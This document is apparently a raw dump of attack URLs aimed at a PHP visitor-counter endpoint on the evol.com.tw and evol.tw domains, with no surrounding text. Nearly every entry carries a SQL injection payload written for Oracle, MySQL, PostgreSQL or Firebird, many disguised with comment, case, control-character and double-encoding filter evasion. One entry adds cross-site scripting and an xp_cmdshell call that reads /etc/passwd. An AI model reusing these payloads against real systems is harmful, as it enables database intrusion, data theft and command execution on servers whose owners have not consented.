http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-+AND+%28SELECT+1+FROM+%28SELECT+COUNT%28*%29,+CONCAT%28%28SELECT+%28SELECT+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29,0x7e%29%29%29,+FLOOR%28RAND%280%29+*+2%29%29+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x%29+a%29----

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%20AND%201%20GROUP%20BY%20CONCAT%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e,%200x7e,%20FLOOR%28RAND%280%29%20*%202%29%29%20HAVING%20MIN%280%29

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-%27+or+1=+AND+0=CAST%28COALESCE%28%28SELECT+version%28%29%29::text,+CHR%2832%29%29::text+%7C%7C+CHR%2867%29+AS+NUMERIC%29+and+%271%27=%271

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-%27+and++AND+1+GROUP+BY+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29,0x7e,+0x7e,+FLOOR%28RAND%280%29+*+2%29%29+HAVING+MIN%280%29

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22%20AND%20/*%2150000AnD*/**/4516=%28/*%2150000sELECt*/**/UPpEr%28XmlTyPe%28cHr%2860%29%7C%7CChr%2858%29%7C%7C%27%7E%27%7C%7C%28/*%2150000seleCT*/**/%28/*%2150000casE*/**/*%2150000wHen*/**/%284516=4516%29/**/*%2150000THeN*/**/1/**/*%2150000ElsE*/**/0/**/*%2150000eNd*/%29/**/*%2150000FROm*/**/DuaL%29%7C%7C%27%7E%27%7C%7CCHr%2862%29%29%29/**/*%2150000FrOM*/**/DUaL%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-%27%20and%201=%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELE

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-%27++AND+%28SELECT+1+FROM+%28SELECT+COUNT%28*%29,+CONCAT%28%28SELECT+%28SELECT+

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-%27+or+1=%28SELECT+1+FROM+%28SELECT+COUNT%28*%29,+CONCAT%28%28SELECT+%28SELECT

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29+AND+1=1--+-+and+1=%28SELECT+1+FROM+%28SELECT+COUNT%28*%29,+CONCAT%28%28SELECT+%28SELECT

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20/*%2150000AND*/**/10516=/*%2150000caSt*/%28%27%7E%27%7C%7C%28/*%2150000SELeCt*/**/%28/*%2150000CaSE*/**/*%2150000WHen*/**/%2810516=10516%29/**/*%2150000thEN*/**/1/**/*%2150000eLSe*/**/0/**/*%2150000EnD*/%29%29::TExt%7C%7C%27%7E%27/**/*%2150000as*/**/numerIc%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=%20or%201=%20AND%20%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELECT%20CONCAT%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e%29%29%29,%20FLOOR%28RAND%280%29%20*%202%29%29%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x%29%20a%29--%20and%201=1

-

http://evol.com.tw /ip_visitor_counter.php?api=%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELECT%20CONCAT%28GTID_SUBSET%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e%29%29%29%29,%20FLOOR%28RAND%280%29%20*%202%29%29%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x%29%20a%29%20and%201=1

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%289762=9762%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29%20AND%201=1--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%20AND%20AND/**/3395=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%283395=3395%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20/*%2150000ANd*/**/9885/**/IN/**/%28/*%2150000SeLeCt*/**/%28%27%7E%27+%28/*%2150000SeLect*/**/%28/*%2150000CasE*/**/*%2150000whEN*/**/%289885=9885%29/**/*%2150000TheN*/**/%271%27/**/*%2150000eLsE*/**/%270%27/**/*%2150000ENd*/%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22%20AND%20/*%2150000aND*/**/9388/**/iN/**/%28/*%2150000seleCT*/**/%28%27%7E%27+%28/*%2150000SeleCt*/**/%28/*%2150000CASE*/**/*%2150000WHen*/**/%289388=9388%29/**/*%2150000tHen*/**/%271%27/**/*%2150000elSe*/**/%270%27/**/*%2150000eND*/%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test

-

http://evol.com.tw /ip_visitor_counter.php?api=%20AND%20%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELECT%20CONCAT%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e%29%29%29,%20FLOOR%28RAND%280%29%20*%202%29%29%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x%29%20a%29--%20and%201=1

-

http://evol.com.tw /ip_visitor_counter.php?api=+and

-

http://evol.com.tw /ip_visitor_counter.php?api=test%29+AND+AND/**/5462=%28SELECT/**/UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27%7E%27%7C%7C%28SELECT/**/%28CASE/**/WHEN/**/%285462=5462%29/**/THEN/**/1/**/ELSE/**/0/**/END%29/**/FROM/**/DUAL%29%7C%7C%27%7E%27%7C%7CCHR%2862%29%29%29/**/FROM/**/DUAL%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=%20or%201=%28SELECT%201%20FROM%20%28SELECT%20COUNT%28*%29,%20CONCAT%28%28SELECT%20%28SELECT%20CONCAT%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e%29%29%29,%20FLOOR%28RAND%280%29%20*%202%29%29%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x%29%20a%29%20and%201=1

-

http://evol.com.tw /ip_visitor_counter.php?api=test%29/*%2150000ANd*/**/6401/**/iN/**/%28/*%2150000SelECT*/**/%28%27%7E%27+%28/*%2150000sElect*/**/%28/*%2150000CaSe*/**/*%2150000wheN*/**/%286401=6401%29/**/*%2150000THEn*/**/%271%27/**/*%2150000else*/**/%270%27/**/*%2150000enD*/%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?__waf_test__=%27%20OR%20%271%27=%271%27%20UNION%20SELECT%20NULL,%27%3Cscript%3Ealert%281%29%3C/script%3E%27,table_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/**/;%20EXEC%20xp_cmdshell%28%27cat%20/etc/passwd%27%29

-

http://evol.com.tw /ip_visitor_counter.php?api=test%20AND%20AND/**/9233/**/IN/**/%28SELECT/**/%28%27%7E%27%20%28SELECT/**/%28CASE/**/WHEN/**/%289233=9233%29/**/THEN/**/%271%27/**/ELSE/**/%270%27/**/END%29%29%20%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20ANd/**/6368=CaSt%28%27%7E%27%7C%7C%28SEleCt/**/%28caSE/**/whEN/**/%286368=6368%29/**/tHEn/**/1/**/elSE/**/0/**/End%29%29::Text%7C%7C%27%7E%27/**/aS/**/nUmERiC%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%20AND%20AND/**/9233/**/IN/**/%28SELECT/**/%28%27%7E%27+%28SELECT/**/%28CASE/**/WHEN/**/%289233=9233%29/**/THEN/**/%271%27/**/ELSE/**/%270%27/**/END%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20AND%0410744%0CIN%0D%28SELECT%08%28%27%7E%27+%28SELECT%05%28CASE%02WHEN%0B%2810744=10744%29%06THEN%0D%271%27%0FELSE%02%270%27%08END%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22%20AND%20AND%086794%06IN%0C%28SELECT%04%28%27%7E%27+%28SELECT%02%28CASE%09WHEN%07%286794=6794%29%0BTHEN%08%271%27%0EELSE%01%270%27%05END%29%29+%27%7E%27%29%29--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27+AND+AND%0410744%0CIN%0D%28SELECT%08%28%27%7E%27+%28SELECT%05%28CASE%02WHEN%0B%2810744=10744%29%06THEN%0D%271%27%0FELSE%02%270%27%08END%29%29+%27%7E%27%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=and%201=%20AND%201%20GROUP%20BY%20CONCAT%28CAST%28VERSION%28%29%20AS%20CHAR%29,0x7e,%200x7e,%20FLOOR%28RAND%280%29%20*%202%29%29%20HAVING%20MIN%280%29

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%29eXtrAcTvALUe%284284,/*%2150000cONCaT*/%280X7e,%28/*%2150000selECT*/**/%28Elt%284284=4284,1%29%29%29,0x7E%29%29+AND+%271%27=%271

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%29%20AND%20EXTRACTVALUE%284018,/*%2150000CONCAT*/%280x7e,%28/*%2150000SELECT*/%28ELT%284018=4018,1%29%29%29,0x7e%29%29--%20-

-

https://evol.com.tw /hero/

-

https://evol.tw /hero/

-

http://evol.tw /ip_visitor_counter.php?api=1%22%20AND%20%25/%25*%25!%255%250%250%250%250%25A%25N%25D%25*%25/%25/%25*%25*%25/%257%256%252%256%25=%25/%25*%25!%255%250%250%250%250%25c%25A%25s%25t%25*%25/%25(%25'%25~%25'%25%7C%25%7C%25(%25/%25*%25!%255%250%250%250%250%25S%25E%25l%25e%25c%25T%25*%25/%25/%25*%25*%25/%25(%25/%25*%25!%255%250%250%250%250%25c%25a%25s%25E%25*%25/%25/%25*%25*%25/%25/%25*%25!%255%250%250%250%250%25W%25h%25e%252

-

http://evol.tw /ip_visitor_counter.php?api=1%22AND%250710200%3D(SELECT%2504%2527~%2527%2B(SELECT%250E(CASE%2501WHEN%2508(10200%3D10200)%2506THEN%250B%25271%2527%2506ELSE%250F%25270%2527%250FEND))%2B%2527~%2527%2502FOR%2507XML%2503PATH(%2527%2527))%20AND%20%22bQIm9md5%22%20LIKE%20%22bQIm9md5

-

http://evol.tw /ip_visitor_counter.php?api=1)EXTRACTVALUE(6059,CONCAT(0x7e,(SELECT/**/(ELT(6059%3D6059,1))),0x7e))--%2B-

-

http://evol.tw /ip_visitor_counter.php?api=1%25%2F%25%2A%25%21%255%250%250%250%250%25a%25n%25d%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%256%252%250%258%25%3D%25%28%25%27%25~%25%27%25%7C%25%7C%25%28%25%2F%25%2A%25%21%255%250%250%250%250%25s%25e%25l%25E%25c%25T%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25c%25a%25s%25e%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%256%252%250%258%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25W%25h%25e%25N%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%252

-

http://evol.com.tw /ip_visitor_counter.php?api=test'+OR+1%3D1--+-

-

http://evol.tw /ip_visitor_counter.php?api=1%27%29%29%29%25%2F%25%2A%25%21%255%250%250%250%250%25a%25N%25D%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%252%259%255%251%25%3D%25%28%25%27%25~%25%27%25%7C%25%7C%25%28%25%2F%25%2A%25%21%255%250%250%250%250%25S%25E%25L%25e%25c%25T%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25C%25A%25s%25e%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%252%259%255%251%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25w%25H%25E%25n%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%252%259%255%251%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25T%25h%25E%25n%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%251%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25e%25L%25S%25E%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%250%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25E%25n%25D%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%25%2F%25%2A%25%21%255%250%250%250%250%25F%25R%25o%25M%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%25r%25D%25B%25%24%25d%25A%25T%25a%25B%25a%25S%25e%25%29%25%7C%25%7C%25%27%25~%25%27%25%29+AND+%28%28%28%27CDL9vAvT%27%3D%27CDL9vAvT

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762%3D(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7C'~'%7C%7C(SELECT/**/(CASE/**/WHEN/**/(9762%3D9762)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7C'~'%7C%7CCHR(62)))/**/FROM/**/DUAL)+AND+1%3D1--+-+AND+0%3DCAST(COALESCE((SELECT+version())::text,+CHR(32))::text+%7C%7C+CHR(67)+AS+NUMERIC)--

-

http://evol.tw /ip_visitor_counter.php?api=1%27%25%2C%25G%25t%25I%25D%25_%25S%25U%25b%25s%25e%25t%25%28%25%2F%25%2A%25%21%255%250%250%250%250%25C%25o%25n%25C%25a%25t%25%2A%25%2F%25%28%25%27%25~%25%27%25%2C%25%28%25%2F%25%2A%25%21%255%250%250%250%250%25s%25e%25l%25E%25c%25T%25%2A%25%2F%25%2F%25%2A%25%2A%25%2F%25%28%25e%25l%25T%25%28%258%257%257%259%25%3D%258%257%257%259%25%2C%251%25%29%25%29%25%29%25%2C%25%27%25~%25%27%25%29%25%2C%258%257%257%259%25%29+OR+%27ZwfnwAg5%27%3D%27NAq4BQb4

-

http://evol.com.tw /ip_visitor_counter.php?%20EXEC%20xp_cmdshell(%27cat%20/etc/passwd%27)%23=10%27XOR(1*if(now()%3Dsysdate(),sleep(15),0))XOR%27Z&__waf_test__=%27%20OR%20%271%27%3D%271%27%20UNION%20SELECT%20NULL,%27%3Cscript%3Ealert(1)%3C/script%3E%27,table_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/**/&api=*

-

http://evol.tw /ip_visitor_counter.php?api=1'+AND+EXTRACTVALUE(6686,CONCAT(0x7e,(SELECT/**/(ELT(6686%3D6686,1))),0x7e))--+-

-

https://evol.com.tw /hero/

-

http://evol.tw /ip_visitor_counter.php?api=1'AND/**/EXP(~(SELECT/**/*/**/FROM/**/(SELECT/**/CONCAT('~',(SELECT/**/(ELT(3662%3D3662,1))),'~','x'))x))+OR+'yL9R7dNR'%3D'CjZzhikt

-

http://evol.tw /ip_visitor_counter.php?api=1')/*!50000AND*/EXP(~(/*!50000SELECT*/*/*!50000FROM*/(/*!50000SELECT*//*!50000CONCAT*/(%2527~%2527,(/*!50000SELECT*/(ELT(7229%3D7229,1))),%2527~%2527,%2527x%2527))x))--+-

-

http://evol.tw /ip_visitor_counter.php?api=1AND/**/(SELECT/**/2184/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2184%3D2184,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)--+-

-

http://evol.tw /ip_visitor_counter.php?api=1%22))AND/**/8753%3D(%2527~%2527%7C%7C(sELeCt/**/case/**/8753/**/wheN/**/8753/**/then/**/1/**/ElsE/**/0/**/end/**/from/**/rDb$dAtabAsE)%7C%7C%2527~%2527)+AND+((%22NtSW0axM%22%3D%22NtSW0axM%22

-

http://evol.tw /ip_visitor_counter.php?api=1')))EXTRACTVALUE(2812,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(2812%3D2812,1))),0x7e))+AND+((('JwlhfMhY'+LIKE+'JwlhfMhY

-